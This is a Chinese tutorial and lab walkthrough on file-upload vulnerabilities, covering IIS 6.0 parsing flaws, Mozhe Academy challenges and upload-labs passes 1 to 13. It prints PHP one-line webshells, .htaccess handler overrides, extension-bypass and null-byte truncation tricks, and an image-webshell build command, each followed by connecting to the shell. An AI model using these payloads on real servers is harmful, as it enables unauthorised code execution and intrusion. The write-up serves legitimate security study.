文件上传(upload-labs详细全解)

文件上传漏洞

  • 常见的漏洞分类
     服务器配置不当导致文件上传
     开源编辑器存在上传漏洞
     本地文件上传限制可以上传被绕过
     服务器端过滤不严可以被绕过
     解析漏洞导致文件执行
     文件路径截断

IIS6.0 解析漏洞

在 Windows 2003下 IIS 6.0有两个漏洞。
1、目录解析

/xx.asp/xx.jpg

利用方法:在网站下建立文件夹的名字为.asp、.asa的文件夹,其目录内的任何扩展名的文件都被iis当做是.asp的文件解析来执行。

2、文件解析
Abc.asp;.jpg

利用方法:在iis6.0下,分号后面的不被解析,也就是说网站上传图片的时候,将网页木马文件的名字改成“*.asp;.jpg”,也同样会被 IIS 当作 asp 文件来解析并执行。例如上传一个图片文件,名字叫“vidun.asp;.jpg”的木马文件,该文件可以被当作 asp 文件解析并执行。,默认可执行的文件还包含三种:

/abc.asa

/abc.cer

/abc.cdx

补充:
对于文件上传漏洞的防护来说,主要分为以下两类:
白名单限制和黑名单限制
对于黑名单的限制,我们只需要寻找一些较为偏僻的可执行后缀、大小写混写以及相关操作系统的特性(如windows文件名后缀的最后会自动过滤空格以及.等)来进行绕过;
对于白名单的限制来说,一般是结合解析漏洞、代码函数漏洞(icov(80-EF截断),造成00截断的相关函数以及相关操作系统特性(如windows10文件名长度总共为223包括后缀,win2012的为237,linux ubuntu0.16.04.1文件名长度252等)来进行绕过!

IIS解析漏洞1:
  在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被 IIS 当作 asp 文件来解析并执行。例如创建目录 vidun.asp,那么 /vidun.asp/1.jpg 将被当作 asp 文件来执行

例子一:

http://219.153.49.228:49837/ 访问网站(墨者学院)


1.png

1、先确定服务器的类型,先随便上传一个.asp文件,抓包发送到repeater,从报错信息可以看到服务器类型为:Server: Microsoft-IIS/6.0

2.png

 2、修改upload目录为abc.asp,点击go


3.png

 3、到上传路径和文件名


4.png

 4、访问上传的木马文件,用菜刀链接
5.png

6.png

例子二:
上传可以看到上传的时候弹出一个弹窗,只让我们上传上面格式的文件,先看一下源码

<!doctype html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<title>Upload</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="author" content="">
<link href="static/bootstrap.css" rel="stylesheet">
<link href="static/cover.css" rel="stylesheet">
<script src="static/jquery.js"></script>
<script src="static/bootstrap.js"></script>
<script language="JavaScript">
extArray = new Array(".gif", ".jpg", ".png");
function LimitAttach(form, file) {
allowSubmit = false;
if (!file) return;
while (file.indexOf("\\") != -1)
file = file.slice(file.indexOf("\\") + 1);
ext = file.slice(file.indexOf(".")).toLowerCase();
for (var i = 0; i < extArray.length; i++) {
if (extArray[i] == ext) { allowSubmit = true; break; }
}
if (allowSubmit) form.submit();
else
alert("对不起,只能上传以下格式的文件:  " 
+ (extArray.join("  ")) + "\n请重新选择符合条件的文件"
+ "再上传.");
return false;
}
</script>
</head>
<body>
<div class="site-wrapper">
  <form class="form-signin" action="upload.php" method="post" enctype="multipart/form-data" name="upload">
    <h3>请选择文件上传:</h3>
    <input class="form-control" type="file" name="uploadfile"/>
    <input type="submit" name="submit" value="上传文件" onclick="return LimitAttach(this.form, this.form.uploadfile.value)"/>
  </form>
</div>
</body>
</html>

发现前端存在js验证,只能识别图片格式的文件进行上传,这里有两种方法:

第一种是:将一句话木马1.php的后缀名改成.jpg格式的然后进行上传,用burpsuit进行对文件格式改为1.php,上传成功后用菜刀进行链接获取shell,并找到key.

第二种是: 先在浏览器输入about:config(仅限于火狐浏览器),然后搜索java script .enabled将切换为false,这样就禁用了javascript,前端验证不起作用 ,创建一句话木马 <?Php eval($_post[‘123’])?>,直接上传,返回上传路径 uploads/1.php,然后菜刀链接

使用方法一进行测试,http://219.153.49.228:42415/ 访问网站

随便上传一张图片用burpsuite抓包,修改文件夹后缀以及在内容里面添加一句话木马


1.png

访问返回木马的路径


2.png

菜刀连
3.png

例子三:
1、上传很多次,都显示 不允许上传,后来把一句话木马写入到图片里面,然后通过burpsuit进行修改后缀,上传成功


1.png

burpsuit进行修改后缀


2.png

查看返回地址
3.png

菜刀连接

4.png

例子四:
浏览器设置代理,上传一张正常的图片,burp抓包
修改burpsuite抓到的包,在内容区域写入一句话木马,最好不要写在最前面,有可能上传的时候会检测文件头,尽量在中间写入木马


image.png

菜刀链接,找打key


image.png

例子五:
文件后缀名绕过
前提是:黑名单校验
黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。
绕过方法:
(1)找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类
(2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee

1、上传是php文件的解析规则

所以构造好php一句话木马

2、使用burpsuit进行截断攻击

简单的更改文件后缀名字发现有相应的过滤规则

image.png

3、尝试进行截断
随便构造一个后缀名字。


image.png

4、成功上传,菜刀链接


image.png

例子六:
这道题也是借助大佬的帮助才成功,具体我们来看:

1.png

先扫描一波目录看看

3.png

发现了几个比较有用的目录,特别是upload1.php跟upload2.php两个上传页面
我们先来访问upload1.php:


image.png

点击确定后是upload2.php,竟然是一片空白


2.png

不过中间好像有个上传的页面一闪而过,我们用burp抓包,来一页一页看页面
8.png

果然有这个页面,但是抓包的cookie引起了我们的注意:

Cookie: uploadmd5=verify%2F2b10f3817a8604ef.txt

我们查看源代码:


7.png

竟然还有一个隐藏的提交表单

<input type="hidden" name="verify" value="2b10f3817a8604ef"/>

我们解码这个 :2b10f3817a8604ef-----> 结果是 : 1543390594

感觉好像跟题目没有一点关系的好吧

但是我们又突然发现它是以 .txt结尾的,这是不是会存在任意文件读取漏洞,我们稍后尝试,我们进行下一步上传

我们直接构造 shell.php 内容为 <?php @eval($_POST["cmd"]);?> 进行上传


9.png

10.png

ok!已经成功了,可以用菜刀连接了 等等,咦路径呢?
分析数据包可能是upload_file.php....我们访问试一下


11.png

然而并不是刚刚上传的木马,木马虽然传上去了,但是路径呢,路径呢

突然想到还有一个可能包含任意文件读取的点,我们重新抓包
verify%2F2b10f3817a8604ef.txt ------> upload_file.php

12.png

分析源代码

<?php
$path="uploadfile/";//ÉÏ´«Â·¾¶  
$verify=$_POST["verify"];
$time=date("Ymd");
if($_FILES["filename"]["name"])  
{  
$file1=$_FILES["filename"]["name"];  
$file2 = $path.$time.'_'.$verify.'_'.$file1;  
$flag=1;  
}  
if($flag) $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);  
if($result) echo "ÉÏ´«³É¹¦!";  

?> 

源码中发现包含了上传路径

$result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);  

关键在这一句,$file2 可能保存的就是文件的上传路径

$file2 = $path.$time.'_'.$verify.'_'.$file1; 

其中:

$path="uploadfile/"
 $verify=$_POST["verify"];    我想到了那个隐藏的提交表单,其中value="2b10f3817a8604ef"
 $time=date("Ymd");   Ymd不就年月日,那今天就是20181128

按照这样解释的话,路径也就是admin/uploadfile/20181128_2b10f3817a8604ef_shell.php
这样猜想的,试试看
访问,使用菜刀连接,获取key


13.png

后来才发现还有upload.php,御剑估计老了,我们用任意代码的漏洞查看


12.png

竟然是cookie的生成过程,哈哈哈

到此为止,掌握方法,顺便告诉我们cookie的重要性

墨者学院文件上传的题目到这里就全部做完,这样就够了,显然是不够的,我又本地搭建了Upload-labs靶场进行练习

开始你的表演,先来张图压压惊


1.png
  • pass-01
    上传文件,显示只能上传什么类型的


    2.png

审查元素发现:是js验证

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

这时要猜测判断文件后缀的代码是在前端还是后端,打开burp进行拦截,发现点击上传后,并没有进行发包。可知判断后缀的代码在前端,即用js代码判断的,打开浏览器的审查元素,找到文件上传的js代码


3.png

发现有一个checkFile()函数,推测可能是这个函数进行判断的,我们把它删除后再上传,或者也可以通过抓包的方式修改文件后缀进行绕过


4.png

上传之后查看源码,得到上传文件的路径
1.png

访问连接,菜刀连接


5.png
  • pass-02
    第二关先进行黑盒测试,发现可以上传正常图片、修改后缀名的(shell.php改为shell.jpg)进行上传、抓包修改后缀名(上传shell.jpg抓包改为shell.php)、修改文件类型(上传shell.php,修改Content-Type: image/gif)成功上传木马。
3.png

这就说明只是服务器对后缀名进行验证,绕过问题不大。我们查看原代码分析下

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;

            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
    }
}

基础知识:

$_FILES["file"]["name"] – 被上传文件的名称
$_FILES["file"]["type"] – 被上传文件的类型
$_FILES["file"]["size"] – 被上传文件的大小,以字节计
$_FILES["file"]["tmp_name"] – 存储在服务器的文件的临时副本的名称
$_FILES["file"]["error"] – 由文件上传导致的错误代码


move_uploaded_file(file,newloc) 函数将上传的文件移动到新位置。
参数  描述
file    必需。规定要移动的文件。
newloc  必需。规定文件的新位置。
如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file() 将返回 false。
如果 file 是合法的上传文件,但出于某些原因无法移动,不会出现任何操作,move_uploaded_file() 将返回 false,此外还会发出一条警告。

可以看到这里采用的是后端验证文件类型, 但是他只过滤的文件类型, 并没有过滤文件后缀名, 所以可以上传 php 文件修改 content-type 绕过, 可以看到成功执行了 phpinfo


4.png

2.png
  • pass-03
     禁止上传.asp|.aspx|.php|.jsp后缀文件
    用上面方法发现上传都不行,发现对.asp|.aspx|.php|.jsp后缀名进行了严格的限制。
    用[.htaccess]从新解析.htaccess的内容是,意思是让jpg格式的文件也当成php文件运行
AddType application/x-httpd-php .jpg
TIM图片20181204100742.png

当然也需要apache支持
  配置文件LoadModule rewrite_module modules/mod_rewrite.so前的注释去掉,寻找关键词:AllowOverride,并把后面的参数从None全部改成All
首先上传.htaccess文件,再上传jpg文件解析成功


TIM图片20181204100742.png
TIM图片20181204100742.png
注.htaccess基础知识重点内容

.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
 启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
它里面有这样一段代码:AllowOverride None,如果我们把None改成All


3.png
  • pass-04
    查看源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

虽然还是黑名单,但几乎过滤了所有有问题的后缀名,除了.htaccess,于是首先上传一个.htaccess内容如下的文件:

SetHandler application/x-httpd-php
TIM截图20181204105318.png

这样所有文件都会解析为php,然后再上传图片马,就可以解析:


TIM截图20181204112219.png

访问


TIM截图20181204112616.png
  • pass-05
    查看源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

现在这个.htaccess是上传是不行的。分析下代码发现,他少了这么一行,出现比较严重的问题。

$file_ext = strtolower($file_ext); //转换为小写

可以看到在第五关代码中没有这个


4.png

于是可以通过大小写绕过:


1.png

发现成功上传,可以访问一下,发现成功执行:
2.png
  • pass-06
    查看源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

发现依然是黑名单,但这次程序没有对文件后缀去空(其实如果程序没有对文件进行重命名的话,可以借one.php .jpg绕过白名单的)

上传一个php文件,抓包将文件名后缀加上空格,如下图


1.png

访问:


2.png
  • pass-07
    查看源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

还是黑名单,但是没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:


1.png

访问


2.png
  • pass-08
    查看源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

说实话第八关这个绕过方式我之前根本不知道的,就是在php+windows的情况下:如果文件名+"::DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

1.png
2.png

具体原理还不是很清楚。。

  • pass-09
    这关算是一个逻辑漏洞
    查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

黑名单过滤,注意第15行和之前不太一样,程序先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用类似shell.php. .(两个点号之间有一个空格)绕过,如果重名名了文件的话应该会用$file_ext来进行拼凑文件,这样保存在服务器中的文件将没有后缀(去除了.空格)

$img_path = $UPLOAD_ADDR . '/' . $file_name;
1.png

访问


2.png
  • pass-10
    查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

依旧是黑名单过滤,注意到,这里是将问题后缀名替换为空,于是可以利用双写绕过:

$file_name = str_ireplace($deny_ext,"", $file_name);
1.png

返回


2.png
  • pass-11 采用00截断GET方式
    最初并不了解这种方式,是看了大佬的笔记之后才做出来的,当然也要借鉴大佬的笔记啦,主要是大佬笔记做的很全面
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败!';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

基础补充两个函数:substr()、strrpos()

strrpos()

定义和用法
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。
注释:strrpos() 函数对大小写敏感。
相关函数:
stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
语法
strrpos(string,find,start)
参数  描述
string  必需。规定被搜索的字符串。
find    必需。规定要查找的字符。
start   可选。规定在何处开始搜索。
substr()

这里写代码片语法
substr(string,start,length)
参数  描述
string  必需。规定要返回其中一部分的字符串。
start   必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始  负数 - 在从字符串结尾开始的指定位置开始0 - 在字符串中的第一个字符处开始
length  可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度负数 - 从字符串末端返回的长度

理解测试代码:

<?php
$a = '1.jpg';
$file_ext = substr($a,strrpos($a,".")+1);
var_dump($file_ext);
?>
返回jpg

分析代码:

 $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

发现那个路径没有处理直接拼接上去的。所以可以利用00截断绕过。但是发现怎么截断都没有用。查阅资料得知:

截断条件:
    php版本小于5.3.4 详情关注CVE-2006-7243
    php的magic_quotes_gpc为OFF状态   //如果不修改将无法上传成功,默认为ON

我本地的版本为5.2.17


1.png

开始测试:
上传文件—截断—修改文件后缀—看返回的路径


1.png

访问,成功上传
2.png
  • pass-12 采用00截断POST方式
    查看并分析源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码 
或者你也可以使用url-decode进行编码之后进行上传文件,同样可以解析成功


2.png

我们依然使用00截断方法:

1.png

来到+号对应的二进制2b将他改为00


2.png

点击go进行上传


3.png

访问
4.png

上面这种方式有一点点繁琐,下面这种方式比较好上手
选中%00—编码—点击go—即可上传成功—访问


5.png
7.png
8.png
  • pass-13 图片马上传
    查看源码
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

发现主要是取上传文件的头两个字节判断文件类型,因此直接上传图片马即可
图片马的制作

copy normal.jpg /b + shell.php /a webshell.jpg 

上传图片马:

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,711评论 5 468
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,932评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,770评论 0 330
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,799评论 1 271
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,697评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,069评论 1 276
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,535评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,200评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,353评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,290评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,331评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,020评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,610评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,694评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,927评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,330评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,904评论 2 341

推荐阅读更多精彩内容

  • 一、初步认识 1.上传功能:网站上各种可以上传文件,图片的地方可以被用作上传点进行非法上传 2.上传原理:在前端代...
    楠昭阅读 1,610评论 1 11
